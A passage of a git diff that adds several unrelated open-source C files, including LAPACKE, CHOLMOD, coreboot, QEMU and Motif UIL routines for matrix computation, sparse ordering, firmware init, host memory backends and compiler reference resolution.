+        goto exit_level_1;
+    }
+    /* Call middle-level interface */
+    info = LAPACKE_dsbgvx_work( matrix_order, jobz, range, uplo, n, ka, kb, ab,
+                                ldab, bb, ldbb, q, ldq, vl, vu, il, iu, abstol,
+                                m, w, z, ldz, work, iwork, ifail );
+    /* Release memory and exit */
+    LAPACKE_free( work );
+exit_level_1:
+    LAPACKE_free( iwork );
+exit_level_0:
+    if( info == LAPACK_WORK_MEMORY_ERROR ) {
+        LAPACKE_xerbla( "LAPACKE_dsbgvx", info );
+    }
+    return info;
+}
diff --git a/pool/shard001/C/0024459_matmul_zi4.c b/pool/shard001/C/0024459_matmul_zi4.c
new file mode 100644
index 0000000000000000000000000000000000000000..08a484067a8f150086d0c6277ae94e8044525d2d
--- /dev/null
+++ b/pool/shard001/C/0024459_matmul_zi4.c
@@ -0,0 +1,125 @@
+/*
+ * Copyright 2004 PathScale, Inc.  All Rights Reserved.
+ */
+
+/*
+
+  Copyright (C) 2000, 2001 Silicon Graphics, Inc.  All Rights Reserved.
+
+  This program is free software; you can redistribute it and/or modify it
+  under the terms of version 2.1 of the GNU Lesser General Public License 
+  as published by the Free Software Foundation.
+
+  This program is distributed in the hope that it would be useful, but
+  WITHOUT ANY WARRANTY; without even the implied warranty of
+  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  
+
+  Further, this software is distributed without any warranty that it is
+  free of the rightful claim of any third person regarding infringement 
+  or the like.  Any license provided herein, whether implied or 
+  otherwise, applies only to this software file.  Patent licenses, if
+  any, provided herein do not apply to combinations of this program with 
+  other software, or any other product whatsoever.  
+
+  You should have received a copy of the GNU Lesser General Public 
+  License along with this program; if not, write the Free Software 
+  Foundation, Inc., 59 Temple Place - Suite 330, Boston MA 02111-1307, 
+  USA.
+
+  Contact information:  Silicon Graphics, Inc., 1600 Amphitheatre Pky,
+  Mountain View, CA 94043, or:
+
+  http://www.sgi.com
+
+  For further information regarding this notice, see:
+
+  http://oss.sgi.com/projects/GenInfo/NoticeExplan
+
+*/
+
+
+#pragma ident "@(#) libfi/matrix/matmul_zi4.c	92.1	07/09/99 15:18:08"
+
+#include "matmul.h"
+
+/*
+ * Name of this entry point
+ */
+#define NAME _MATMUL_ZI4
+/*
+ * Name of routine called do computation (if any)
+ */
+#if defined(UNICOS) || defined(UNIX_NAMING_CONVENTION)
+#define SUBNAME _I4DGEMMX
+#elif defined(BUILD_COMPILER_GNU) && defined(BUILD_OS_DARWIN)
+#define SUBNAME underscore_i4dgemmx__
+#else
+#define SUBNAME _i4dgemmx__
+#endif
+/*
+ * Type of constants alpha and beta
+ */
+#define RESULTTYPE   _f_real16
+
+void
+NAME(DopeVectorType *RESULT, DopeVectorType *MATRIX_A,
+     DopeVectorType *MATRIX_B)
+{
+    void    SUBNAME();
+
+    RESULTTYPE *Ar, *Ai;     /* pointers to real and imaginary parts of B */
+    RESULTTYPE *Cr, *Ci;     /* pointers to real and imaginary parts of C */
+    MatrixDimenType matdimdata, *MATDIM;
+
+#if !defined(_SOLARIS) && !defined(_CRAYMPP) && !defined(_ABSOFT)
+    const RESULTTYPE   one =  (RESULTTYPE) 1.0;
+    const RESULTTYPE   zero = (RESULTTYPE) 0.0;
+#else
+    struct {
+        _f_int4 ireal1;         /* first 32 bits of real part */
+        _f_int4 irest2[3];      /* rest of 128-bit double precision */
+        } one, zero;
+
+    memset(&zero, 0, sizeof(zero));
+
+    one = zero;
+    one.ireal1 =  017777600000;
+#endif
+
+        MATDIM = (MatrixDimenType *) &matdimdata;
+
+    /*
+     * Parse dope vectors, and perform error checking.
+     */
+
+    _premult(RESULT, MATRIX_A, MATRIX_B, MATDIM);
+
+    /*
+     * Do real and imaginary parts separately.
+     */
+
+    Ar = (RESULTTYPE *) MATDIM->A;
+    Ai = Ar + 1;
+    MATDIM->inc1a *= 2;
+    MATDIM->inc2a *= 2;
+
+    Cr = (RESULTTYPE *) MATDIM->C;
+    Ci = Cr + 1;
+    MATDIM->inc1c *= 2;
+    MATDIM->inc2c *= 2;
+
+    /*
+     * Perform the matrix multiplication.
+     * Do the transposed problem: C' = B'*A'
+     */
+
+    /* real part */
+    SUBNAME(&MATDIM->n, &MATDIM->m, &MATDIM->k, &one, MATDIM->B,
+         &MATDIM->inc2b, &MATDIM->inc1b, Ar, &MATDIM->inc2a, &MATDIM->inc1a,
+         &zero, Cr, &MATDIM->inc2c, &MATDIM->inc1c);
+    /* imaginary part */
+    SUBNAME(&MATDIM->n, &MATDIM->m, &MATDIM->k, &one, MATDIM->B,
+         &MATDIM->inc2b, &MATDIM->inc1b, Ai, &MATDIM->inc2a, &MATDIM->inc1a,
+         &zero, Ci, &MATDIM->inc2c, &MATDIM->inc1c);
+    return;
+}
diff --git a/pool/shard001/C/0024467_cholmod_camd.c b/pool/shard001/C/0024467_cholmod_camd.c
new file mode 100644
index 0000000000000000000000000000000000000000..5c186ea2a5cf266cddf7ac098c0c05e5f4b7cc53
--- /dev/null
+++ b/pool/shard001/C/0024467_cholmod_camd.c
@@ -0,0 +1,213 @@
+/* ========================================================================== */
+/* === Partition/cholmod_camd =============================================== */
+/* ========================================================================== */
+
+/* -----------------------------------------------------------------------------
+ * CHOLMOD/Partition Module.  Copyright (C) 2005-2013, Timothy A. Davis
+ * http://www.suitesparse.com
+ * -------------------------------------------------------------------------- */
+
+/* CHOLMOD interface to the CAMD ordering routine.  Orders A if the matrix is
+ * symmetric.  On output, Perm [k] = i if row/column i of A is the kth
+ * row/column of P*A*P'.  This corresponds to A(p,p) in MATLAB notation.
+ *
+ * If A is unsymmetric, cholmod_camd orders A*A'.  On output, Perm [k] = i if
+ * row/column i of A*A' is the kth row/column of P*A*A'*P'.  This corresponds to
+ * A(p,:)*A(p,:)' in MATLAB notation.  If f is present, A(p,f)*A(p,f)' is
+ * ordered.
+ *
+ * Computes the flop count for a subsequent LL' factorization, the number
+ * of nonzeros in L, and the number of nonzeros in the matrix ordered (A,
+ * A*A' or A(:,f)*A(:,f)').
+ *
+ * workspace: Iwork (4*nrow). Head (nrow).
+ *
+ * Allocates a temporary copy of A+A' or A*A' (with
+ * both upper and lower triangular parts) as input to CAMD.
+ * Also allocates 3*(n+1) additional integer workspace (not in Common).
+ *
+ * Supports any xtype (pattern, real, complex, or zomplex)
+ */
+
+#ifndef NCAMD
+
+#include "cholmod_internal.h"
+#include "camd.h"
+#include "cholmod_camd.h"
+
+#if (CAMD_VERSION < CAMD_VERSION_CODE (2,0))
+#error "CAMD v2.0 or later is required"
+#endif
+
+/* ========================================================================== */
+/* === cholmod_camd ========================================================= */
+/* ========================================================================== */
+
+int CHOLMOD(camd)
+(
+    /* ---- input ---- */
+    cholmod_sparse *A,	/* matrix to order */
+    Int *fset,		/* subset of 0:(A->ncol)-1 */
+    size_t fsize,	/* size of fset */
+    Int *Cmember,	/* size nrow.  see cholmod_ccolamd.c for description.*/
+    /* ---- output ---- */
+    Int *Perm,		/* size A->nrow, output permutation */
+    /* --------------- */
+    cholmod_common *Common
+)
+{
+    double Info [CAMD_INFO], Control2 [CAMD_CONTROL], *Control ;
+    Int *Cp, *Len, *Nv, *Head, *Elen, *Degree, *Wi, *Next, *BucketSet,
+	*Work3n, *p ;
+    cholmod_sparse *C ;
+    Int j, n, cnz ;
+    size_t s ;
+    int ok = TRUE ;
+
+    /* ---------------------------------------------------------------------- */
+    /* get inputs */
+    /* ---------------------------------------------------------------------- */
+
+    RETURN_IF_NULL_COMMON (FALSE) ;
+    RETURN_IF_NULL (A, FALSE) ;
+    n = A->nrow ;
+
+    /* s = 4*n */
+    s = CHOLMOD(mult_size_t) (n, 4, &ok) ;
+    if (!ok)
+    {
+	ERROR (CHOLMOD_TOO_LARGE, "problem too large") ;
+	return (FALSE) ;
+    }
+
+    RETURN_IF_NULL (Perm, FALSE) ;
+    RETURN_IF_XTYPE_INVALID (A, CHOLMOD_PATTERN, CHOLMOD_ZOMPLEX, FALSE) ;
+    Common->status = CHOLMOD_OK ;
+    if (n == 0)
+    {
+	/* nothing to do */
+	Common->fl = 0 ;
+	Common->lnz = 0 ;
+	Common->anz = 0 ;
+	return (TRUE) ;
+    }
+
+    /* ---------------------------------------------------------------------- */
+    /* get workspace */
+    /* ---------------------------------------------------------------------- */
+
+    /* cholmod_analyze has allocated Cmember at Common->Iwork + 5*n+uncol, and
+     * CParent at Common->Iwork + 4*n+uncol, where uncol is 0 if A is symmetric
+     * or A->ncol otherwise.  Thus, only the first 4n integers in Common->Iwork
+     * can be used here. */
+
+    CHOLMOD(allocate_work) (n, s, 0, Common) ;
+    if (Common->status < CHOLMOD_OK)
+    {
+	return (FALSE) ;
+    }
+
+    p = Common->Iwork ;
+    Degree = p ; p += n ;	/* size n */
+    Elen   = p ; p += n ;	/* size n */
+    Len    = p ; p += n ;	/* size n */
+    Nv     = p ; p += n ;	/* size n */
+
+    Work3n = CHOLMOD(malloc) (n+1, 3*sizeof (Int), Common) ;
+    if (Common->status < CHOLMOD_OK)
+    {
+	return (FALSE) ;
+    }
+    p = Work3n ;
+    Next = p ; p += n ;		/* size n */
+    Wi   = p ; p += (n+1) ;	/* size n+1 */
+    BucketSet = p ;		/* size n */
+
+    Head = Common->Head ;	/* size n+1 */
+
+    /* ---------------------------------------------------------------------- */
+    /* construct the input matrix for CAMD */
+    /* ---------------------------------------------------------------------- */
+
+    if (A->stype == 0)
+    {
+	/* C = A*A' or A(:,f)*A(:,f)', add extra space of nnz(C)/2+n to C */
+	C = CHOLMOD(aat) (A, fset, fsize, -2, Common) ;
+    }
+    else
+    {
+	/* C = A+A', but use only the upper triangular part of A if A->stype = 1
+	 * and only the lower part of A if A->stype = -1.  Add extra space of
+	 * nnz(C)/2+n to C. */
+	C = CHOLMOD(copy) (A, 0, -2, Common) ;
+    }
+
+    if (Common->status < CHOLMOD_OK)
+    {
+	/* out of memory, fset invalid, or other error */
+	CHOLMOD(free) (n+1, 3*sizeof (Int), Work3n, Common) ;
+	return (FALSE) ;
+    }
+
+    Cp = C->p ;
+    for (j = 0 ; j < n ; j++)
+    {
+	Len [j] = Cp [j+1] - Cp [j] ;
+    }
+
+    /* C does not include the diagonal, and both upper and lower parts.
+     * Common->anz includes the diagonal, and just the lower part of C */
+    cnz = Cp [n] ;
+    Common->anz = cnz / 2 + n ;
+
+    /* ---------------------------------------------------------------------- */
+    /* order C using CAMD */
+    /* ---------------------------------------------------------------------- */
+
+    /* get parameters */
+    if (Common->current < 0 || Common->current >= CHOLMOD_MAXMETHODS)
+    {
+	/* use CAMD defaults */
+	Control = NULL ;
+    }
+    else
+    {
+	Control = Control2 ;
+	Control [CAMD_DENSE] = Common->method [Common->current].prune_dense ;
+	Control [CAMD_AGGRESSIVE] = Common->method [Common->current].aggressive;
+    }
+
+#ifdef LONG
+    /* DEBUG (camd_l_debug_init ("cholmod_l_camd")) ; */
+    camd_l2 (n, C->p,  C->i, Len, C->nzmax, cnz, Nv, Next, Perm, Head, Elen,
+	    Degree, Wi, Control, Info, Cmember, BucketSet) ;
+#else
+    /* DEBUG (camd_debug_init ("cholmod_camd")) ; */
+    camd_2 (n, C->p,  C->i, Len, C->nzmax, cnz, Nv, Next, Perm, Head, Elen,
+	    Degree, Wi, Control, Info, Cmember, BucketSet) ;
+#endif
+
+    /* LL' flop count.  Need to subtract n for LL' flop count.  Note that this
+     * is a slight upper bound which is often exact (see CAMD/Source/camd_2.c
+     * for details).  cholmod_analyze computes an exact flop count and
+     * fill-in. */
+    Common->fl = Info [CAMD_NDIV] + 2 * Info [CAMD_NMULTSUBS_LDL] + n ;
+
+    /* Info [CAMD_LNZ] excludes the diagonal */
+    Common->lnz = n + Info [CAMD_LNZ] ;
+
+    /* ---------------------------------------------------------------------- */
+    /* free the CAMD workspace and clear the persistent workspace in Common */
+    /* ---------------------------------------------------------------------- */
+
+    ASSERT (IMPLIES (Common->status == CHOLMOD_OK,
+		CHOLMOD(dump_perm) (Perm, n, n, "CAMD2 perm", Common))) ;
+    CHOLMOD(free_sparse) (&C, Common) ;
+    for (j = 0 ; j <= n ; j++)
+    {
+	Head [j] = EMPTY ;
+    }
+    CHOLMOD(free) (n+1, 3*sizeof (Int), Work3n, Common) ;
+    return (TRUE) ;
+}
+#endif
diff --git a/pool/shard001/C/0024475_romstage.c b/pool/shard001/C/0024475_romstage.c
new file mode 100644
index 0000000000000000000000000000000000000000..5934938097a2efc8c209339550a6b32bda23d946
--- /dev/null
+++ b/pool/shard001/C/0024475_romstage.c
@@ -0,0 +1,174 @@
+/*
+ * This file is part of the coreboot project.
+ *
+ * Copyright (C) 2008 Advanced Micro Devices, Inc.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; version 2 of the License.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301 USA
+ */
+
+#define RC0 (6<<8)
+#define RC1 (7<<8)
+
+#define SMBUS_HUB 0x71
+
+#include <stdint.h>
+#include <string.h>
+#include <device/pci_def.h>
+#include <arch/io.h>
+#include <device/pnp_def.h>
+#include <arch/romcc_io.h>
+#include <cpu/x86/lapic.h>
+#include <pc80/mc146818rtc.h>
+#include <console/console.h>
+#include <cpu/amd/model_fxx_rev.h>
+#include "northbridge/amd/amdk8/raminit.h"
+#include "cpu/amd/model_fxx/apic_timer.c"
+#include "lib/delay.c"
+#include <spd.h>
+#include "cpu/x86/lapic/boot_cpu.c"
+#include "northbridge/amd/amdk8/reset_test.c"
+#include "northbridge/amd/amdk8/debug.c"
+#include "superio/ite/it8712f/early_serial.c"
+#include "cpu/x86/mtrr/earlymtrr.c"
+#include "cpu/x86/bist.h"
+#include "northbridge/amd/amdk8/setup_resource_map.c"
+#include "southbridge/amd/rs690/early_setup.c"
+#include "southbridge/amd/sb600/early_setup.c"
+
+static void memreset(int controllers, const struct mem_controller *ctrl) { }
+static void activate_spd_rom(const struct mem_controller *ctrl) { }
+
+static inline int spd_read_byte(u32 device, u32 address)
+{
+	return smbus_read_byte(device, address);
+}
+
+#include "northbridge/amd/amdk8/amdk8.h"
+#include "northbridge/amd/amdk8/incoherent_ht.c"
+#include "northbridge/amd/amdk8/raminit_f.c"
+#include "northbridge/amd/amdk8/coherent_ht.c"
+#include "lib/generic_sdram.c"
+#include "resourcemap.c"
+#include "cpu/amd/dualcore/dualcore.c"
+#include "cpu/amd/car/post_cache_as_ram.c"
+#include "cpu/amd/model_fxx/init_cpus.c"
+#include "cpu/amd/model_fxx/fidvid.c"
+#include "tn_post_code.c"
+#include "speaker.c"
+#include "northbridge/amd/amdk8/early_ht.c"
+
+void cache_as_ram_main(unsigned long bist, unsigned long cpu_init_detectedx)
+{
+	static const u16 spd_addr[] = { DIMM0, 0, 0, 0, DIMM1, 0, 0, 0, };
+	int needs_reset = 0;
+	u32 bsp_apicid = 0;
+	msr_t msr;
+	struct cpuid_result cpuid1;
+	struct sys_info *sysinfo = (struct sys_info *)(CONFIG_DCACHE_RAM_BASE + CONFIG_DCACHE_RAM_SIZE - CONFIG_DCACHE_RAM_GLOBAL_VAR_SIZE);
+
+	if (!cpu_init_detectedx && boot_cpu()) {
+		/* Nothing special needs to be done to find bus 0 */
+		/* Allow the HT devices to be found */
+		enumerate_ht_chain();
+		/* sb600_lpc_port80(); */
+		sb600_pci_port80();
+	}
+
+	technexion_post_code_init();
+	technexion_post_code(LED_MESSAGE_START);
+
+	if (bist == 0)
+		bsp_apicid = init_cpus(cpu_init_detectedx, sysinfo);
+
+	enable_rs690_dev8();
+	sb600_lpc_init();
+
+	/* it8712f_enable_serial does not use its 1st parameter. */
+	it8712f_enable_serial(0, CONFIG_TTYS0_BASE);
+	it8712f_kill_watchdog();
+
+	console_init();
+
+	/* Halt if there was a built in self test failure */
+	report_bist_failure(bist);
+	printk(BIOS_DEBUG, "bsp_apicid=0x%x\n", bsp_apicid);
+
+	setup_tim5690_resource_map();
+
+	setup_coherent_ht_domain();
+
+#if CONFIG_LOGICAL_CPUS==1
+	/* It is said that we should start core1 after all core0 launched */
+	wait_all_core0_started();
+	start_other_cores();
+#endif
+	wait_all_aps_started(bsp_apicid);
+
+	ht_setup_chains_x(sysinfo);
+
+	/* run _early_setup before soft-reset. */
+	rs690_early_setup();
+	sb600_early_setup();
+
+	/* Check to see if processor is capable of changing FIDVID  */
+	/* otherwise it will throw a GP# when reading FIDVID_STATUS */
+	cpuid1 = cpuid(0x80000007);
+	if ((cpuid1.edx & 0x6) == 0x6) {
+		/* Read FIDVID_STATUS */
+		msr=rdmsr(0xc0010042);
+		printk(BIOS_DEBUG, "begin msr fid, vid: hi=0x%x, lo=0x%x\n", msr.hi, msr.lo);
+
+		enable_fid_change();
+		enable_fid_change_on_sb(sysinfo->sbbusn, sysinfo->sbdn);
+		init_fidvid_bsp(bsp_apicid);
+
+		/* show final fid and vid */
+		msr=rdmsr(0xc0010042);
+		printk(BIOS_DEBUG, "end msr fid, vid: hi=0x%x, lo=0x%x\n", msr.hi, msr.lo);
+	} else {
+		printk(BIOS_DEBUG, "Changing FIDVID not supported\n");
+	}
+
+	needs_reset = optimize_link_coherent_ht();
+	needs_reset |= optimize_link_incoherent_ht(sysinfo);
+	rs690_htinit();
+	printk(BIOS_DEBUG, "needs_reset=0x%x\n", needs_reset);
+
+	if (needs_reset) {
+		print_info("ht reset -\n");
+		soft_reset();
+	}
+
+	speaker_init(255);
+	speaker_on_nodelay();
+
+	allow_all_aps_stop(bsp_apicid);
+
+	/* It's the time to set ctrl now; */
+	printk(BIOS_DEBUG, "sysinfo->nodes: %2x  sysinfo->ctrl: %p  spd_addr: %p\n",
+		     sysinfo->nodes, sysinfo->ctrl, spd_addr);
+
+	fill_mem_ctrl(sysinfo->nodes, sysinfo->ctrl, spd_addr);
+
+	technexion_post_code(LED_MESSAGE_RAM);
+
+	sdram_initialize(sysinfo->nodes, sysinfo->ctrl, sysinfo);
+
+	speaker_off_nodelay();
+
+	rs690_before_pci_init();
+	sb600_before_pci_init();
+
+	post_cache_as_ram();
+}
diff --git a/pool/shard001/C/0024485_hostmem-file.c b/pool/shard001/C/0024485_hostmem-file.c
new file mode 100644
index 0000000000000000000000000000000000000000..51799943f1d6bf4d0ef56388ab3183c38ef946eb
--- /dev/null
+++ b/pool/shard001/C/0024485_hostmem-file.c
@@ -0,0 +1,134 @@
+/*
+ * QEMU Host Memory Backend for hugetlbfs
+ *
+ * Copyright (C) 2013-2014 Red Hat Inc
+ *
+ * Authors:
+ *   Paolo Bonzini <pbonzini@redhat.com>
+ *
+ * This work is licensed under the terms of the GNU GPL, version 2 or later.
+ * See the COPYING file in the top-level directory.
+ */
+#include "qemu-common.h"
+#include "sysemu/hostmem.h"
+#include "sysemu/sysemu.h"
+#include "qom/object_interfaces.h"
+
+/* hostmem-file.c */
+/**
+ * @TYPE_MEMORY_BACKEND_FILE:
+ * name of backend that uses mmap on a file descriptor
+ */
+#define TYPE_MEMORY_BACKEND_FILE "memory-backend-file"
+
+#define MEMORY_BACKEND_FILE(obj) \
+    OBJECT_CHECK(HostMemoryBackendFile, (obj), TYPE_MEMORY_BACKEND_FILE)
+
+typedef struct HostMemoryBackendFile HostMemoryBackendFile;
+
+struct HostMemoryBackendFile {
+    HostMemoryBackend parent_obj;
+
+    bool share;
+    char *mem_path;
+};
+
+static void
+file_backend_memory_alloc(HostMemoryBackend *backend, Error **errp)
+{
+    HostMemoryBackendFile *fb = MEMORY_BACKEND_FILE(backend);
+
+    if (!backend->size) {
+        error_setg(errp, "can't create backend with size 0");
+        return;
+    }
+    if (!fb->mem_path) {
+        error_setg(errp, "mem_path property not set");
+        return;
+    }
+#ifndef CONFIG_LINUX
+    error_setg(errp, "-mem-path not supported on this host");
+#else
+    if (!memory_region_size(&backend->mr)) {
+        backend->force_prealloc = mem_prealloc;
+        memory_region_init_ram_from_file(&backend->mr, OBJECT(backend),
+                                 object_get_canonical_path(OBJECT(backend)),
+                                 backend->size, fb->share,
+                                 fb->mem_path, errp);
+    }
+#endif
+}
+
+static void
+file_backend_class_init(ObjectClass *oc, void *data)
+{
+    HostMemoryBackendClass *bc = MEMORY_BACKEND_CLASS(oc);
+
+    bc->alloc = file_backend_memory_alloc;
+}
+
+static char *get_mem_path(Object *o, Error **errp)
+{
+    HostMemoryBackendFile *fb = MEMORY_BACKEND_FILE(o);
+
+    return g_strdup(fb->mem_path);
+}
+
+static void set_mem_path(Object *o, const char *str, Error **errp)
+{
+    HostMemoryBackend *backend = MEMORY_BACKEND(o);
+    HostMemoryBackendFile *fb = MEMORY_BACKEND_FILE(o);
+
+    if (memory_region_size(&backend->mr)) {
+        error_setg(errp, "cannot change property value");
+        return;
+    }
+    if (fb->mem_path) {
+        g_free(fb->mem_path);
+    }
+    fb->mem_path = g_strdup(str);
+}
+
+static bool file_memory_backend_get_share(Object *o, Error **errp)
+{
+    HostMemoryBackendFile *fb = MEMORY_BACKEND_FILE(o);
+
+    return fb->share;
+}
+
+static void file_memory_backend_set_share(Object *o, bool value, Error **errp)
+{
+    HostMemoryBackend *backend = MEMORY_BACKEND(o);
+    HostMemoryBackendFile *fb = MEMORY_BACKEND_FILE(o);
+
+    if (memory_region_size(&backend->mr)) {
+        error_setg(errp, "cannot change property value");
+        return;
+    }
+    fb->share = value;
+}
+
+static void
+file_backend_instance_init(Object *o)
+{
+    object_property_add_bool(o, "share",
+                        file_memory_backend_get_share,
+                        file_memory_backend_set_share, NULL);
+    object_property_add_str(o, "mem-path", get_mem_path,
+                            set_mem_path, NULL);
+}
+
+static const TypeInfo file_backend_info = {
+    .name = TYPE_MEMORY_BACKEND_FILE,
+    .parent = TYPE_MEMORY_BACKEND,
+    .class_init = file_backend_class_init,
+    .instance_init = file_backend_instance_init,
+    .instance_size = sizeof(HostMemoryBackendFile),
+};
+
+static void register_types(void)
+{
+    type_register_static(&file_backend_info);
+}
+
+type_init(register_types);
diff --git a/pool/shard001/C/0024491_UilP2Reslv.c b/pool/shard001/C/0024491_UilP2Reslv.c
new file mode 100644
index 0000000000000000000000000000000000000000..895ede0dd6a8299e199ebde8eaa55ce4324ea37b
--- /dev/null
+++ b/pool/shard001/C/0024491_UilP2Reslv.c
@@ -0,0 +1,313 @@
+/* 
+ * Motif
+ *
+ * Copyright (c) 1987-2012, The Open Group. All rights reserved.
+ *
+ * These libraries and programs are free software; you can
+ * redistribute them and/or modify them under the terms of the GNU
+ * Lesser General Public License as published by the Free Software
+ * Foundation; either version 2 of the License, or (at your option)
+ * any later version.
+ *
+ * These libraries and programs are distributed in the hope that
+ * they will be useful, but WITHOUT ANY WARRANTY; without even the
+ * implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
+ * PURPOSE. See the GNU Lesser General Public License for more
+ * details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with these librararies and programs; if not, write
+ * to the Free Software Foundation, Inc., 51 Franklin Street, Fifth
+ * Floor, Boston, MA 02110-1301 USA
+*/ 
+/* 
+ * HISTORY
+*/ 
+#ifdef REV_INFO
+#ifndef lint
+static char rcsid[] = "$XConsortium: UilP2Reslv.c /main/11 1995/07/14 09:36:35 drk $"
+#endif
+#endif
+
+#ifdef HAVE_CONFIG_H
+#include <config.h>
+#endif
+
+
+/*
+*  (c) Copyright 1989, 1990, DIGITAL EQUIPMENT CORPORATION, MAYNARD, MASS. */
+
+/*
+**++
+**  FACILITY:
+**
+**      User Interface Language Compiler (UIL)
+**
+**  ABSTRACT:
+**
+**      This module contain the second pass routines for resolving forward
+**	references.
+**
+**--
+**/
+
+
+/*
+**
+**  INCLUDE FILES
+**
+**/
+
+#include "UilDefI.h"
+
+
+/*
+**
+**  DEFINE and MACRO DEFINITIONS
+**
+**/
+
+
+
+/*
+**
+**  EXTERNAL VARIABLE DECLARATIONS
+**
+**/
+
+
+/*
+**
+**  GLOBAL VARIABLE DECLARATIONS
+**
+**/
+
+
+
+/*
+**
+**  OWN VARIABLE DECLARATIONS
+**
+**/
+
+
+/*
+**++
+**  FUNCTIONAL DESCRIPTION:
+**
+**      This function processes forward references from the first pass.
+**
+**  FORMAL PARAMETERS:
+**
+**      none
+**
+**  IMPLICIT INPUTS:
+**
+**      sym_az_forward_ref_chain
+**	sym_az_val_forward_ref_chain
+**
+**  IMPLICIT OUTPUTS:
+**
+**      none
+**
+**  FUNCTION VALUE:
+**
+**      void
+**
+**  SIDE EFFECTS:
+**
+**      error messages may be issued for objects that are still undefined
+**	or of the wrong type
+**
+**--
+**/
+
+void	sem_resolve_forward_refs()
+
+{
+    sym_forward_ref_entry_type		* fwd_entry;
+    sym_forward_ref_entry_type		* next_fwd_entry;
+    sym_val_forward_ref_entry_type	* fwd_val_entry;
+    sym_val_forward_ref_entry_type	* next_fwd_val_entry;
+    sym_widget_entry_type		** target_obj_entry;
+    sym_value_entry_type		** target_val_entry;
+    sym_parent_list_type        	* parent_node;
+    sym_parent_list_type        	* parent_ptr;
+    int                         	found;
+
+    /* 
+    **	Forward references are placed on a chain by the first pass of
+    **	the compiler.  This routine walks the chain checking that
+    **	    1) name is now defined
+    **	    2) name points to the correct type of object
+    */
+
+    for (fwd_entry = sym_az_forward_ref_chain;  
+	 fwd_entry != NULL;  
+	 fwd_entry = next_fwd_entry)
+    {
+	sym_name_entry_type	* name_entry;
+	sym_widget_entry_type	* object_entry;
+	unsigned short int	object_type;
+
+
+	/*
+	**  Save the pointer to the next forward entry so we can free the current 
+	**  entry after it is processed.
+	*/
+	next_fwd_entry = fwd_entry->az_next_ref;
+
+
+	/*
+	**  Call the Status callback routine to report our progress.
+	*/
+	/* %COMPLETE */
+	Uil_percent_complete = 60;
+	if (Uil_cmd_z_command.status_cb != (Uil_continue_type(*)())NULL)
+	    diag_report_status();    
+
+
+	object_type = fwd_entry->header.b_type;
+	name_entry = fwd_entry->az_name;
+	object_entry = (sym_widget_entry_type *) name_entry->az_object;
+
+	if (object_entry == NULL)
+	{
+	    diag_issue_diagnostic
+		( d_never_def,
+		  _sar_source_pos2 (fwd_entry),
+		  diag_object_text( object_type ),
+		  name_entry->c_text );
+	    continue;
+	}
+
+	/*
+	** Make sure object references are to correct type of object.
+	** A forward reference naming a widget class may be correctly
+	** resolved by the corresponding gadget class, and vice versa.
+	*/
+	if ((object_entry->header.b_type!=object_type) &&
+	    (uil_gadget_variants[(int)object_entry->header.b_type]!=object_type) &&
+	    (uil_gadget_variants[object_type]!=object_entry->header.b_type))
+	    {
+	    diag_issue_diagnostic
+		(d_ctx_req,
+		 _sar_source_pos2(fwd_entry),
+		 diag_object_text(object_type),
+		 diag_object_text(object_entry->header.b_type));
+	    continue;
+	    }
+
+	target_obj_entry =
+		(sym_widget_entry_type * *) fwd_entry->a_update_location;
+	*target_obj_entry = object_entry;
+
+	/*
+	** Update objects on forward refernce chain so that their parent_lists point
+	** to the objects which reference them
+	*/
+	if (fwd_entry -> parent != NULL)
+	    {
+	    found = FALSE;
+	    for (parent_ptr = object_entry -> parent_list;
+		((parent_ptr != NULL) && (found == FALSE));
+		parent_ptr = parent_ptr -> next)
+		{
+		if (parent_ptr -> parent == fwd_entry -> parent)
+		    found = TRUE;
+		}
+	    if (found == FALSE)
+		{
+		parent_node = (sym_parent_list_type *) 
+		    sem_allocate_node (sym_k_parent_list_entry, 
+		    sym_k_parent_list_size);
+		parent_node -> next = object_entry -> parent_list;
+		object_entry -> parent_list = parent_node;
+		parent_node -> parent = fwd_entry -> parent;
+		}
+	    }
+
+
+	/*
+	**  Free the Forward reference entry now that it is no longer needed
+	*/    
+	sem_free_node(( sym_entry_type *)fwd_entry);
+
+    }
+
+
+    /*
+    **  Now resolve the forward references to values
+    **/
+
+    /* 
+    **	Forward references are placed on a chain by the first pass of
+    **	the compiler.  This routine walks the chain checking that
+    **	    1) name is now defined
+    **	    2) name points to the correct type of value
+    */
+
+    for (fwd_val_entry = sym_az_val_forward_ref_chain;  
+	 fwd_val_entry != NULL;  
+	 fwd_val_entry = next_fwd_val_entry)
+    {
+	sym_name_entry_type	* name_entry;
+	sym_value_entry_type	* value_entry;
+	sym_obj_entry_type	* obj_entry;
+
+
+	/*
+	**  Save the pointer to the next forward entry so we can free the current 
+	**  entry after it is processed.
+	*/
+	next_fwd_val_entry = fwd_val_entry->az_next_ref;
+
+
+	/*
+	**  Call the Status callback routine to report our progress.
+	*/
+	/* %COMPLETE */
+	Uil_percent_complete = 60;
+	if (Uil_cmd_z_command.status_cb != (Uil_continue_type(*)())NULL)
+	    diag_report_status();    
+
+	name_entry = fwd_val_entry->az_name;
+	value_entry = (sym_value_entry_type *) name_entry->az_object;
+	obj_entry = (sym_obj_entry_type *) name_entry->az_object;
+
+	if (value_entry == NULL)
+	{
+	    diag_issue_diagnostic
+		( d_never_def,
+		  _sar_source_pos2 (fwd_val_entry),
+		  "value",
+		  name_entry->c_text );
+	    continue;
+	}
+
+	switch (fwd_val_entry->fwd_ref_flags)
+	    {
+	    case (sym_k_patch_add):
+	    case (sym_k_patch_list_add):
+		{
+    	        target_val_entry =
+		        (sym_value_entry_type * *) fwd_val_entry->a_update_location;
+	        *target_val_entry = value_entry;
+	        break;
+	        }
+	    default:
+		_assert(FALSE, "Illegal forward reference");
+            }
+
+
+	/*
+	**  Free the Forward reference entry now that it is no longer needed
+	*/    
+	sem_free_node(( sym_entry_type *)fwd_val_entry);
+
+    }
+
+
+
+
+}
diff --git a/pool/shard001/C/0024493_example.c b/pool/shard001/C/0024493_example.c
new file mode 100644
